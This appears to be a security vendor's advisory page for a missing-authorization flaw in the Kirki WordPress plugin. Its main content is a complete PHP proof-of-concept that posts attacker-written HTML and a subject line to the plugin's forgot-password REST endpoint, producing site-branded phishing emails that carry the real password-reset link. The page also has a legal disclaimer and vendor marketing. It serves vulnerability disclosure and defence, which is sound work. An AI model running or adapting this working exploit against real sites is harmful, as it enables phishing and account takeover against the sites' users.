 if ( ! defined( 'KIRKI_VERSION' ) ) {
-	define( 'KIRKI_VERSION', '6.0.11' );
+	define( 'KIRKI_VERSION', '6.0.12' );
 }

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-12472 - Kirki <= 6.0.11 - Missing Authorization to Unauthenticated Arbitrary Email Content Injection

// Configuration - set these to the target WordPress site and a valid registered user's email
$target_url = 'http://example.com'; // Change this to the target WordPress site URL
$target_email = 'victim@example.com'; // Change this to a valid registered user email

// REST API endpoint for forgot password
$endpoint = '/wp-json/kirki-component-library/v1/kirki-forgot-password';

// Step 1: Build the malicious email body array
// The 'chip' type with value 'reset_link' will be replaced by the server with the real password reset URL
$email_body = array(
    array(
        'type' => 'text',
        'value' => '<!DOCTYPE html><html><head><meta charset="UTF-8"><title>Security Alert</title></head><body style="font-family: Arial, sans-serif; background-color: #f4f4f4; padding: 20px;"><div style="max-width: 600px; margin: 0 auto; background-color: #ffffff; border-radius: 5px; padding: 30px; box-shadow: 0 2px 10px rgba(0,0,0,0.1);"><h2 style="color: #d9534f;">Security Alert: Password Reset Requested</h2><p>We received a request to reset the password for your account.</p><p>If you did not make this request, please ignore this email. However, if you need to secure your account, click the link below:</p><p style="text-align: center; margin: 25px 0;"><a href="'
    ),
    array(
        'type' => 'chip',
        'value' => 'reset_link'
    ),
    array(
        'type' => 'text',
        'value' => '" style="background-color: #d9534f; color: #ffffff; padding: 12px 24px; text-decoration: none; border-radius: 3px; font-size: 16px;">Reset Your Password</a></p><p><strong>Warning:</strong> This link will expire in 24 hours.</p><hr style="border: none; border-top: 1px solid #eeeeee; margin: 20px 0;"><p style="color: #999999; font-size: 12px;">This is an automated message from ' . parse_url($target_url, PHP_URL_HOST) . '. Please do not reply.</p></div></body></html>'
    )
);

$email_body_json = json_encode($email_body);

// Malicious subject line
$email_subject = 'Security Alert: Password Reset Requested for Your Account';

// Build the request data
$request_data = array(
    'email' => $target_email,
    'emailSubject' => $email_subject,
    'emailBody' => $email_body_json
);

// Initialize cURL
$ch = curl_init();

// Set cURL options
curl_setopt($ch, CURLOPT_URL, $target_url . $endpoint);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, array(
    'Content-Type: application/x-www-form-urlencoded',
    'X-WP-Element-Nonce: any_nonce_value' // The nonce is not checked for this endpoint
));
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // For testing purposes only
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

// Execute the request
$response = curl_exec($ch);

// Check for errors
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo 'HTTP Status Code: ' . $http_code . "n";
    echo 'Response: ' . $response . "n";
    
    if ($http_code == 200) {
        echo "n[+] EXPLOIT SUCCESSFUL: Email sent to $target_email with attacker-controlled HTML content.n";
        echo "[+] The email contains the real WordPress password reset link embedded in attacker-controlled HTML.n";
        echo "[+] The victim will see an email from their trusted site with a legitimate recovery link.n";
    } else {
        echo "n[-] Exploit may have failed. Check the response for details.n";
    }
}

// Close cURL session
curl_close($ch);

// Note: This PoC exploits the lack of email template signature verification.
// The server will replace the 'chip' value 'reset_link' with the actual password reset URL.
// The attacker controls all surrounding HTML and the subject line.
// This allows the attacker to send phishing emails that appear to come from the site.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.